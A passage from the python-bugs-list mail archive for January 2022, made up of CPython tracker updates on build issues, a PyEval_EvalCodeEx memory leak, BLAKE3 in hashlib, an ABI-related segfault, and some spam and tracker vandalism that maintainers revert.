$(DESTDIR)$(BINDIR)/python$(VERSION)$(EXE); \ fi if test "x$(LIPO_INTEL64_FLAGS)" != "x" ; then \ --> rm -f $(DESTDIR)$(BINDIR)python$(VERSION)-intel64$(EXE); \ lipo $(LIPO_INTEL64_FLAGS) \ -output $(DESTDIR)$(BINDIR)/python$(VERSION)-intel64$(EXE) \ $(DESTDIR)$(BINDIR)/python$(VERSION)$(EXE); \ fi I think the lines I've marked with --> above should have the '/' after $(BINDIR).... ???? ---------- components: Installation messages: 410356 nosy: gwolski priority: normal severity: normal status: open title: Makefile missing '/' for some path names versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 18:35:34 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 11 Jan 2022 23:35:34 +0000 Subject: [issue46303] _Py_stat and _Py_wstat using incorrect type for status argument In-Reply-To: <1641613723.86.0.029263256037.issue46303@roundup.psfhosted.org> Message-ID: <1641944134.18.0.210655759069.issue46303@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 08bc1bad11cad39f508bd662c9b28fcd9c995512 by Victor Stinner in branch 'main': bpo-46303: Fix fileutils.h compiler warnings (GH-30550) https://github.com/python/cpython/commit/08bc1bad11cad39f508bd662c9b28fcd9c995512 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 18:37:17 2022 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 11 Jan 2022 23:37:17 +0000 Subject: [issue46347] memory leak in PyEval_EvalCodeEx In-Reply-To: <1641935170.22.0.878820300431.issue46347@roundup.psfhosted.org> Message-ID: <1641944237.27.0.0376889930976.issue46347@roundup.psfhosted.org> Yury Selivanov added the comment: New changeset 20b5791ce9b47195ce51cfd5acb223b1ca59cdf0 by Yury Selivanov in branch 'main': bpo-46347: Fix PyEval_EvalCodeEx to correctly cleanup in error paths (#30551) https://github.com/python/cpython/commit/20b5791ce9b47195ce51cfd5acb223b1ca59cdf0 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 18:38:20 2022 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 11 Jan 2022 23:38:20 +0000 Subject: [issue46347] memory leak in PyEval_EvalCodeEx In-Reply-To: <1641935170.22.0.878820300431.issue46347@roundup.psfhosted.org> Message-ID: <1641944300.12.0.267328088517.issue46347@roundup.psfhosted.org> Change by Yury Selivanov : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 18:38:21 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 11 Jan 2022 23:38:21 +0000 Subject: [issue46303] _Py_stat and _Py_wstat using incorrect type for status argument In-Reply-To: <1641613723.86.0.029263256037.issue46303@roundup.psfhosted.org> Message-ID: <1641944301.67.0.759252705458.issue46303@roundup.psfhosted.org> STINNER Victor added the comment: Christian Heimes: "I set the release blocker flag for the ticket." It's just a compiler warning, why marking it as a release blocker? Anyway, it's now fixed. ---------- priority: release blocker -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 18:40:02 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 11 Jan 2022 23:40:02 +0000 Subject: [issue46303] _Py_stat and _Py_wstat using incorrect type for status argument In-Reply-To: <1641613723.86.0.029263256037.issue46303@roundup.psfhosted.org> Message-ID: <1641944402.42.0.972951670834.issue46303@roundup.psfhosted.org> STINNER Victor added the comment: Paul: Can you please try to build the main branch of Python with clang and tell me if you still have the compiler warnings? If yes, can you please copy/paste the compiler warnings? Do you build Python on Windows or from another OS (cross-compilation)? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 18:42:12 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 11 Jan 2022 23:42:12 +0000 Subject: [issue46303] _Py_stat and _Py_wstat using incorrect type for status argument In-Reply-To: <1641613723.86.0.029263256037.issue46303@roundup.psfhosted.org> Message-ID: <1641944532.26.0.801803247933.issue46303@roundup.psfhosted.org> STINNER Victor added the comment: If possible, I would prefer to not change 3.9 and 3.10 to avoid any risk of introducing a *new* build error, while trying to support a new platform. I don't think that we currently supporting build Python with clang on Windows yet. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 18:42:19 2022 From: report at bugs.python.org (Eric Snow) Date: Tue, 11 Jan 2022 23:42:19 +0000 Subject: [issue46320] runtime/interp/thread state refactoring leads to segmentation fault In-Reply-To: <1641761312.51.0.52946214208.issue46320@roundup.psfhosted.org> Message-ID: <1641944539.1.0.996163338558.issue46320@roundup.psfhosted.org> Eric Snow added the comment: FYI, I get the crash with just: pytest test/contrib/test_pyopenssl.py::TestHTTPS::test_verify_none_and_bad_fingerprint ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 18:44:59 2022 From: report at bugs.python.org (Christian Heimes) Date: Tue, 11 Jan 2022 23:44:59 +0000 Subject: [issue40280] Consider supporting emscripten/webassembly as a build target In-Reply-To: <1586848295.92.0.690921486188.issue40280@roundup.psfhosted.org> Message-ID: <1641944699.14.0.773215941077.issue40280@roundup.psfhosted.org> Change by Christian Heimes : ---------- pull_requests: +28753 pull_request: https://github.com/python/cpython/pull/30552 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 18:47:28 2022 From: report at bugs.python.org (Jack O'Connor) Date: Tue, 11 Jan 2022 23:47:28 +0000 Subject: [issue39298] add BLAKE3 to hashlib In-Reply-To: <1578716860.16.0.194711020268.issue39298@roundup.psfhosted.org> Message-ID: <1641944848.79.0.943924325231.issue39298@roundup.psfhosted.org> Jack O'Connor added the comment: Ah, good idea. I've published the new C implementation as: https://test.pypi.org/project/blake3-experimental-c/ You can install it with: pip install -i https://test.pypi.org/simple/ blake3-experimental-c Despite the package name change, the extension module is still "blake3", so we still "import blake3" to get at it. For example: $ pip install -i https://test.pypi.org/simple/ blake3-experimental-c $ python >>> from blake3 import blake3 >>> blake3(b"foo").hexdigest() '04e0bb39f30b1a3feb89f536c93be15055482df748674b00d26e5a75777702e9' >>> blake3(b"foo", max_threads=blake3.AUTO).hexdigest() '04e0bb39f30b1a3feb89f536c93be15055482df748674b00d26e5a75777702e9' To run the Rust implementation's test suite against this implementation, you could then: $ pip install pytest numpy $ git clone https://github.com/oconnor663/blake3-py $ python -m pytest blake3-py/tests/test_blake3.py ===================== test session starts ===================== platform linux -- Python 3.10.1, pytest-6.2.5, py-1.11.0, pluggy-0.13.1 rootdir: /tmp collected 24 items blake3-py/tests/test_blake3.py ........................ [100%] ===================== 24 passed in 0.30s ====================== ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 18:49:48 2022 From: report at bugs.python.org (Larry Hastings) Date: Tue, 11 Jan 2022 23:49:48 +0000 Subject: [issue39298] add BLAKE3 to hashlib In-Reply-To: <1578716860.16.0.194711020268.issue39298@roundup.psfhosted.org> Message-ID: <1641944988.58.0.0138527862547.issue39298@roundup.psfhosted.org> Larry Hastings added the comment: So, can we shoot for adding this to 3.11? Jack, do you consider the code is in good shape? I'd be up for shepherding it along in the process. In particular, I can contribute the bindings so BLAKE3 is a first-class citizen of hashlib. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 18:49:53 2022 From: report at bugs.python.org (Paul Campbell) Date: Tue, 11 Jan 2022 23:49:53 +0000 Subject: [issue46303] _Py_stat and _Py_wstat using incorrect type for status argument In-Reply-To: <1641613723.86.0.029263256037.issue46303@roundup.psfhosted.org> Message-ID: <1641944993.13.0.261670087719.issue46303@roundup.psfhosted.org> Paul Campbell added the comment: Hi Victor, I was trying to compile with clang on Windows 10. I will try to pull your 3.11 changes and test. Sorry to cause so much churn. It looked to me like a simple issue that was missed, probably because whatever was trying to compile was not normally compiled on Windows. I was not trying to make a lot of work to support a new platform :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 18:52:55 2022 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 11 Jan 2022 23:52:55 +0000 Subject: [issue46347] memory leak in PyEval_EvalCodeEx In-Reply-To: <1641935170.22.0.878820300431.issue46347@roundup.psfhosted.org> Message-ID: <1641945175.76.0.829559687348.issue46347@roundup.psfhosted.org> Change by Yury Selivanov : ---------- pull_requests: +28754 pull_request: https://github.com/python/cpython/pull/30553 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 19:03:02 2022 From: report at bugs.python.org (Yury Selivanov) Date: Wed, 12 Jan 2022 00:03:02 +0000 Subject: [issue46347] memory leak in PyEval_EvalCodeEx In-Reply-To: <1641935170.22.0.878820300431.issue46347@roundup.psfhosted.org> Message-ID: <1641945782.08.0.488917185755.issue46347@roundup.psfhosted.org> Change by Yury Selivanov : ---------- pull_requests: +28755 pull_request: https://github.com/python/cpython/pull/30554 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 19:03:25 2022 From: report at bugs.python.org (Christian Heimes) Date: Wed, 12 Jan 2022 00:03:25 +0000 Subject: [issue46303] _Py_stat and _Py_wstat using incorrect type for status argument In-Reply-To: <1641613723.86.0.029263256037.issue46303@roundup.psfhosted.org> Message-ID: <1641945805.75.0.467585692187.issue46303@roundup.psfhosted.org> Christian Heimes added the comment: It's unlikely that you can reproduce the issue with clang. We use MSVC and a manually maintained pyconfig.h on Windows. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 19:15:09 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 Jan 2022 00:15:09 +0000 Subject: [issue46303] _Py_stat and _Py_wstat using incorrect type for status argument In-Reply-To: <1641613723.86.0.029263256037.issue46303@roundup.psfhosted.org> Message-ID: <1641946509.64.0.114951815108.issue46303@roundup.psfhosted.org> STINNER Victor added the comment: > Hi Victor, I was trying to compile with clang on Windows 10. I will try to pull your 3.11 changes and test. Sorry to cause so much churn. It looked to me like a simple issue that was missed, probably because whatever was trying to compile was not normally compiled on Windows. I was not trying to make a lot of work to support a new platform :) I tried to write a change which doesn't increase the maintenance on other platforms. I dislike declaring private functions in the *public* Python.h header file, especially if they cause build error. Over the last years, I moved many private functions to the internal C API. In Python, we are trying to provide a same C API on all platforms. If "struct stat" is no longer considered as portable, IMO we should attempt to avoid it, at least in the public C API. For these reasons, I dislike PR 30478. The problem is that if the work is written on Linux using "strut stat", the build can fail on Windows if "struct _Py_stat_struct" is now required on Windows. I expected "struct stat" to be portable, but it seems like I was wrong. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 19:17:50 2022 From: report at bugs.python.org (Yury Selivanov) Date: Wed, 12 Jan 2022 00:17:50 +0000 Subject: [issue46347] memory leak in PyEval_EvalCodeEx In-Reply-To: <1641935170.22.0.878820300431.issue46347@roundup.psfhosted.org> Message-ID: <1641946670.38.0.116507328604.issue46347@roundup.psfhosted.org> Yury Selivanov added the comment: New changeset 6f9ca53a6ac343a5663cc5c52546acf9a63b605a by Yury Selivanov in branch '3.10': bpo-46347: Fix PyEval_EvalCodeEx to correctly cleanup in error paths (#30553) https://github.com/python/cpython/commit/6f9ca53a6ac343a5663cc5c52546acf9a63b605a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 19:22:19 2022 From: report at bugs.python.org (Paul Campbell) Date: Wed, 12 Jan 2022 00:22:19 +0000 Subject: [issue46303] _Py_stat and _Py_wstat using incorrect type for status argument In-Reply-To: <1641613723.86.0.029263256037.issue46303@roundup.psfhosted.org> Message-ID: <1641946939.79.0.838546628186.issue46303@roundup.psfhosted.org> Paul Campbell added the comment: > In Python, we are trying to provide a same C API on all platforms. If "struct stat" is no longer considered as portable, IMO we should attempt to avoid it, at least in the public C API. Microsoft provides stat and struct stat, but they prepend the names with an underscore. So functions like stat are named _stat and struct stat is named struct _stat, etc. Not sure if pros/cons of using such functions are though. Seems it would go back to depending on some type nonstandard python macro to translate between the two during build. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 19:33:36 2022 From: report at bugs.python.org (Eric Snow) Date: Wed, 12 Jan 2022 00:33:36 +0000 Subject: [issue46320] runtime/interp/thread state refactoring leads to segmentation fault In-Reply-To: <1641761312.51.0.52946214208.issue46320@roundup.psfhosted.org> Message-ID: <1641947616.86.0.072218452404.issue46320@roundup.psfhosted.org> Eric Snow added the comment: It looks like PyThreadState.async_exc is getting set to 0x01 somewhere. There isn't any code like that in https://github.com/python/cpython/commit/32a67246b0d1e08cd50fc3bfa58052cfeb515b2e. However, the struct layout of PyThreadState did change slightly in that commit. The ABI is generally not stable until the first beta (and sometimes a bit after that). Could it be that the wheel for one or more the dependencies was built against an earlier 3.11 release (with the previous PyThreadState layout)? If I move fields around in PyThreadState just right, I can no longer reproduce the problem. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 19:35:43 2022 From: report at bugs.python.org (Yury Selivanov) Date: Wed, 12 Jan 2022 00:35:43 +0000 Subject: [issue46347] memory leak in PyEval_EvalCodeEx In-Reply-To: <1641935170.22.0.878820300431.issue46347@roundup.psfhosted.org> Message-ID: <1641947743.82.0.86249203866.issue46347@roundup.psfhosted.org> Yury Selivanov added the comment: New changeset be578e0c063dad1dbb273f86d5bc77e4e6f14583 by Yury Selivanov in branch 'main': bpo-46347: Yet another fix in the erorr path of PyEval_EvalCodeEx (#30554) https://github.com/python/cpython/commit/be578e0c063dad1dbb273f86d5bc77e4e6f14583 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 19:56:44 2022 From: report at bugs.python.org (Allie Hammond) Date: Wed, 12 Jan 2022 00:56:44 +0000 Subject: [issue46338] libc_ver() runtime error when sys.executable is empty In-Reply-To: <1641852111.45.0.964710439738.issue46338@roundup.psfhosted.org> Message-ID: <1641949004.9.0.675903695533.issue46338@roundup.psfhosted.org> Allie Hammond added the comment: Thanks for getting back to me so quickly! It's an empty string ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 20:01:26 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Wed, 12 Jan 2022 01:01:26 +0000 Subject: [issue46349] inspect.getdoc() should append parent class method docs when encountering a local one line docstring In-Reply-To: <1641937153.72.0.655254762095.issue46349@roundup.psfhosted.org> Message-ID: <1641949286.72.0.0340736882802.issue46349@roundup.psfhosted.org> Gregory P. Smith added the comment: >From the context of help(typical_subclass_of_abstract_thing.method), the user isn't told what the base classes are or which one might have documentation. So it could become an exercise in frustration. and LOL yes the parameter name is silly but that's a separate module wide cleanup that could be done - inspect is full of public APIs that shadow object as a parameter name. it is often quite old code. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 20:07:58 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 Jan 2022 01:07:58 +0000 Subject: [issue46303] _Py_stat and _Py_wstat using incorrect type for status argument In-Reply-To: <1641613723.86.0.029263256037.issue46303@roundup.psfhosted.org> Message-ID: <1641949678.95.0.191456685874.issue46303@roundup.psfhosted.org> STINNER Victor added the comment: > Seems it would go back to depending on some type nonstandard python macro to translate between the two during build. In the internal C API, there are less concerns about writing portable code. We expect users of this API to pay more attention to what they do and there is no backward compatibility warranty. In the internal C API, it's acceptable to change the parameter type depending on the platform. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 20:12:52 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Wed, 12 Jan 2022 01:12:52 +0000 Subject: [issue46347] memory leak in PyEval_EvalCodeEx In-Reply-To: <1641935170.22.0.878820300431.issue46347@roundup.psfhosted.org> Message-ID: <1641949972.42.0.942642112312.issue46347@roundup.psfhosted.org> Gregory P. Smith added the comment: when was the regression introduced? I wouldn't necessarily rush an urgent release out unless this was just introduced in the 3.10.1 patch release. Could it wait for 3.10.2 already scheduled for four weeks from now? ---------- nosy: +gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 20:18:50 2022 From: report at bugs.python.org (Elvis Pranskevichus) Date: Wed, 12 Jan 2022 01:18:50 +0000 Subject: [issue46347] memory leak in PyEval_EvalCodeEx In-Reply-To: <1641935170.22.0.878820300431.issue46347@roundup.psfhosted.org> Message-ID: <1641950330.31.0.945637934885.issue46347@roundup.psfhosted.org> Elvis Pranskevichus added the comment: The leak was introduced in 3.10a5 (https://github.com/python/cpython/commit/0332e569c12d3dc97171546c6dc10e42c27de34b) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 20:20:15 2022 From: report at bugs.python.org (Paul Campbell) Date: Wed, 12 Jan 2022 01:20:15 +0000 Subject: [issue46303] _Py_stat and _Py_wstat using incorrect type for status argument In-Reply-To: <1641613723.86.0.029263256037.issue46303@roundup.psfhosted.org> Message-ID: <1641950415.78.0.913000449422.issue46303@roundup.psfhosted.org> Paul Campbell added the comment: Victor: The changes in the main branch gets me past this issue without having to make additional changes. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 20:28:12 2022 From: report at bugs.python.org (Barry A. Warsaw) Date: Wed, 12 Jan 2022 01:28:12 +0000 Subject: [issue46330] Simplify the signature of __exit__ In-Reply-To: <1641820088.08.0.801223860673.issue46330@roundup.psfhosted.org> Message-ID: <1641950892.2.0.116170177739.issue46330@roundup.psfhosted.org> Change by Barry A. Warsaw : ---------- nosy: +barry _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 20:45:18 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Wed, 12 Jan 2022 01:45:18 +0000 Subject: [issue46142] python --help output is too long In-Reply-To: <1640043795.98.0.690443918792.issue46142@roundup.psfhosted.org> Message-ID: <1641951918.31.0.0943871750714.issue46142@roundup.psfhosted.org> ?ric Araujo added the comment: The PR now has --help-env, --help-xoptions and --help-all ! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 20:45:42 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 Jan 2022 01:45:42 +0000 Subject: [issue46303] Building Python with clang on Windows fails on _Py_stat(): struct stat is not defined In-Reply-To: <1641613723.86.0.029263256037.issue46303@roundup.psfhosted.org> Message-ID: <1641951942.41.0.813195907133.issue46303@roundup.psfhosted.org> STINNER Victor added the comment: Paul Campbell: "The changes in the main branch gets me past this issue without having to make additional changes." Ok, nice. I close the issue. I consider that building Python with clang is a new feature. I prefer to not backport these changes to 3.9 and 3.10 to avoid any risk of regression. I wrote GH-30528: simple fix for Python 3.10, but I don't know if it works. I don't know how to test my change. It seems like clang is not commonly used on Windows, so I close the issue. If someone wants me to fix build issues with clang on Windows, please comment this issue or open a new issue with an error message and a detailed use case. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed title: _Py_stat and _Py_wstat using incorrect type for status argument -> Building Python with clang on Windows fails on _Py_stat(): struct stat is not defined _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 21:03:34 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 12 Jan 2022 02:03:34 +0000 Subject: [issue46347] memory leak in PyEval_EvalCodeEx In-Reply-To: <1641935170.22.0.878820300431.issue46347@roundup.psfhosted.org> Message-ID: <1641953014.31.0.139218114335.issue46347@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > Could it wait for 3.10.2 already scheduled for four weeks from now? I don't feel comfortable leaving a ton of Cython functions leaking memory constantly on many function calls. According to https://github.com/MagicStack/asyncpg/issues/874 asyncpg can leak quite a lot of memory depending on your usage pattern. Even if this is the first time we heard about this problem, I think this is important enough to justify a extra release. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 21:41:39 2022 From: report at bugs.python.org (Tim Peters) Date: Wed, 12 Jan 2022 02:41:39 +0000 Subject: [issue46020] Optimize long_pow for the common case In-Reply-To: <1639031543.32.0.0830001202943.issue46020@roundup.psfhosted.org> Message-ID: <1641955299.95.0.833045501263.issue46020@roundup.psfhosted.org> Change by Tim Peters : ---------- keywords: +patch pull_requests: +28756 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30555 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 21:47:49 2022 From: report at bugs.python.org (Tim Peters) Date: Wed, 12 Jan 2022 02:47:49 +0000 Subject: [issue46020] Optimize long_pow for the common case In-Reply-To: <1639031543.32.0.0830001202943.issue46020@roundup.psfhosted.org> Message-ID: <1641955669.03.0.641354032774.issue46020@roundup.psfhosted.org> Tim Peters added the comment: GH_30555 helps a bit by leaving the giant-exponent table of small odd powers as uninitialized stack trash unless it's actually used. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 23:25:46 2022 From: report at bugs.python.org (Ant Man) Date: Wed, 12 Jan 2022 04:25:46 +0000 Subject: [issue46314] Stray RESUME opcode for unused lambda In-Reply-To: <1641739204.02.0.251186748791.issue46314@roundup.psfhosted.org> Message-ID: <1641961546.11.0.190911845262.issue46314@roundup.psfhosted.org> Change by Ant Man : ---------- components: +2to3 (2.x to 3.x conversion tool), Argument Clinic, Build, C API, Cross-Build, Demos and Tools, Distutils, Documentation, Extension Modules, FreeBSD, IDLE, IO, Installation, Library (Lib), Parser, Regular Expressions, SSL, Subinterpreters, Tests, Tkinter, Unicode, Windows, XML, asyncio, ctypes, email, macOS nosy: +Alex.Willmer, asvetlov, barry, dstufft, eric.araujo, ezio.melotti, koobs, larry, lys.nikolaou, mrabarnett, ned.deily, paul.moore, r.david.murray, ronaldoussoren, steve.dower, terry.reedy, tim.golden, vstinner, yselivanov, zach.ware type: behavior -> security _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 23:28:24 2022 From: report at bugs.python.org (Larry Hastings) Date: Wed, 12 Jan 2022 04:28:24 +0000 Subject: [issue46314] Stray RESUME opcode for unused lambda In-Reply-To: <1641739204.02.0.251186748791.issue46314@roundup.psfhosted.org> Message-ID: <1641961704.49.0.339555432169.issue46314@roundup.psfhosted.org> Change by Larry Hastings : ---------- components: -2to3 (2.x to 3.x conversion tool), Argument Clinic, Build, C API, Cross-Build, Demos and Tools, Distutils, Documentation, Extension Modules, FreeBSD, IDLE, IO, Installation, Library (Lib), Parser, Regular Expressions, SSL, Subinterpreters, Tests, Tkinter, Unicode, Windows, XML, asyncio, ctypes, email, macOS nosy: -larry _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 23:31:14 2022 From: report at bugs.python.org (Ant Man) Date: Wed, 12 Jan 2022 04:31:14 +0000 Subject: [issue45723] Improve and simplify configure.ac checks In-Reply-To: <1636106747.04.0.649539670364.issue45723@roundup.psfhosted.org> Message-ID: <1641961874.66.0.321149908734.issue45723@roundup.psfhosted.org> Change by Ant Man : ---------- type: enhancement -> security _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 23:31:51 2022 From: report at bugs.python.org (Ant Man) Date: Wed, 12 Jan 2022 04:31:51 +0000 Subject: [issue45723] Improve and simplify configure.ac checks In-Reply-To: <1636106747.04.0.649539670364.issue45723@roundup.psfhosted.org> Message-ID: <1641961911.71.0.424622289742.issue45723@roundup.psfhosted.org> Change by Ant Man : ---------- components: +2to3 (2.x to 3.x conversion tool), Argument Clinic, C API, Cross-Build, Demos and Tools, Distutils, Documentation, Extension Modules, FreeBSD, IDLE, IO, Installation, Interpreter Core, Library (Lib), Parser, Regular Expressions, SSL, Subinterpreters, Tests, Tkinter, Unicode, Windows, XML, asyncio, ctypes, email, macOS nosy: +Alex.Willmer, asvetlov, barry, dstufft, eric.araujo, ezio.melotti, koobs, larry, lys.nikolaou, mrabarnett, ned.deily, pablogsal, paul.moore, r.david.murray, ronaldoussoren, steve.dower, terry.reedy, tim.golden, vstinner, yselivanov, zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 23:33:23 2022 From: report at bugs.python.org (Ant Man) Date: Wed, 12 Jan 2022 04:33:23 +0000 Subject: [issue45723] Improve and simplify configure.ac checks In-Reply-To: <1636106747.04.0.649539670364.issue45723@roundup.psfhosted.org> Message-ID: <1641962003.94.0.421881720423.issue45723@roundup.psfhosted.org> Change by Ant Man : ---------- nosy: +alwaysasetup _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 23:40:54 2022 From: report at bugs.python.org (Zachary Ware) Date: Wed, 12 Jan 2022 04:40:54 +0000 Subject: [issue45723] Improve and simplify configure.ac checks In-Reply-To: <1636106747.04.0.649539670364.issue45723@roundup.psfhosted.org> Message-ID: <1641962454.31.0.845798017839.issue45723@roundup.psfhosted.org> Change by Zachary Ware : ---------- components: -2to3 (2.x to 3.x conversion tool), Argument Clinic, C API, Cross-Build, Demos and Tools, Distutils, Documentation, Extension Modules, FreeBSD, IDLE, IO, Installation, Interpreter Core, Library (Lib), Parser, Regular Expressions, SSL, Subinterpreters, Tests, Tkinter, Unicode, Windows, XML, asyncio, ctypes, email, macOS nosy: -Alex.Willmer, alwaysasetup, asvetlov, barry, dstufft, eric.araujo, ezio.melotti, koobs, larry, lys.nikolaou, miss-islington, mrabarnett, ned.deily, pablogsal, paul.moore, r.david.murray, ronaldoussoren, steve.dower, terry.reedy, tim.golden, vstinner, yselivanov, zach.ware type: security -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 23:44:22 2022 From: report at bugs.python.org (Zachary Ware) Date: Wed, 12 Jan 2022 04:44:22 +0000 Subject: [issue46314] Stray RESUME opcode for unused lambda In-Reply-To: <1641739204.02.0.251186748791.issue46314@roundup.psfhosted.org> Message-ID: <1641962662.62.0.47797567002.issue46314@roundup.psfhosted.org> Change by Zachary Ware : ---------- nosy: -Alex.Willmer, asvetlov, barry, dstufft, eric.araujo, ezio.melotti, koobs, lys.nikolaou, mrabarnett, ned.deily, paul.moore, r.david.murray, ronaldoussoren, steve.dower, terry.reedy, tim.golden, vstinner, yselivanov, zach.ware type: security -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 11 23:54:46 2022 From: report at bugs.python.org (Tim Peters) Date: Wed, 12 Jan 2022 04:54:46 +0000 Subject: [issue37295] Possible optimizations for math.comb() In-Reply-To: <1560626260.31.0.393863097125.issue37295@roundup.psfhosted.org> Message-ID: <1641963286.51.0.708381612609.issue37295@roundup.psfhosted.org> Tim Peters added the comment: Just noting that comb_pole.py requires a development version of Python to run (under all released versions, a byteorder argument is required for int.{to, from}_byte() calls). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 00:03:37 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 12 Jan 2022 05:03:37 +0000 Subject: [issue37295] Possible optimizations for math.comb() In-Reply-To: <1560626260.31.0.393863097125.issue37295@roundup.psfhosted.org> Message-ID: <1641963817.87.0.292163477191.issue37295@roundup.psfhosted.org> Raymond Hettinger added the comment: Just posted an update that runs on 3.8 or later. ---------- Added file: https://bugs.python.org/file50557/comb_pole.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 00:03:46 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 12 Jan 2022 05:03:46 +0000 Subject: [issue37295] Possible optimizations for math.comb() In-Reply-To: <1560626260.31.0.393863097125.issue37295@roundup.psfhosted.org> Message-ID: <1641963826.53.0.73298069903.issue37295@roundup.psfhosted.org> Change by Raymond Hettinger : Removed file: https://bugs.python.org/file50556/comb_pole.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 00:15:51 2022 From: report at bugs.python.org (Jacob Martin) Date: Wed, 12 Jan 2022 05:15:51 +0000 Subject: [issue46352] Steps To Do Arlo Setup Message-ID: <1641964551.3.0.254871358751.issue46352@roundup.psfhosted.org> Change by Jacob Martin : ---------- components: Installation files: Arlo camera setup.jpg nosy: jacobmartin717 priority: normal severity: normal status: open title: Steps To Do Arlo Setup type: security versions: Python 3.8 Added file: https://bugs.python.org/file50558/Arlo camera setup.jpg _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 00:38:40 2022 From: report at bugs.python.org (Quentin Pradet) Date: Wed, 12 Jan 2022 05:38:40 +0000 Subject: [issue46320] runtime/interp/thread state refactoring leads to segmentation fault In-Reply-To: <1641761312.51.0.52946214208.issue46320@roundup.psfhosted.org> Message-ID: <1641965920.93.0.34598734377.issue46320@roundup.psfhosted.org> Quentin Pradet added the comment: Oh my god. You're right, I had a cffi wheel compiled for Python 3.11 before that commit. But the wheel was not coming from PyPI, it was coming from pip's own cache! And we recently enabled pip's cache in GitHub Actions too. So the wheel compiled locally for alpha 2 got reused for alpha 3, and ?. Sorry for the noise but thanks a lot for your help, this was really baffling. Closing! ---------- stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 00:46:47 2022 From: report at bugs.python.org (Quentin Pradet) Date: Wed, 12 Jan 2022 05:46:47 +0000 Subject: [issue46159] Segfault when using trace functions in 3.11a3 In-Reply-To: <1640228846.77.0.888301890747.issue46159@roundup.psfhosted.org> Message-ID: <1641966407.33.0.357457125918.issue46159@roundup.psfhosted.org> Quentin Pradet added the comment: The ABI between alpha 2 and alpha 3 changed, see https://bugs.python.org/issue46320. If pip built (say) cffi in CI for alpha2 and put it in the cache, then it reused that wheel for alpha3 and the segfault is expected. ---------- nosy: +Quentin.Pradet _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 01:03:38 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Wed, 12 Jan 2022 06:03:38 +0000 Subject: [issue46352] Spam Message-ID: 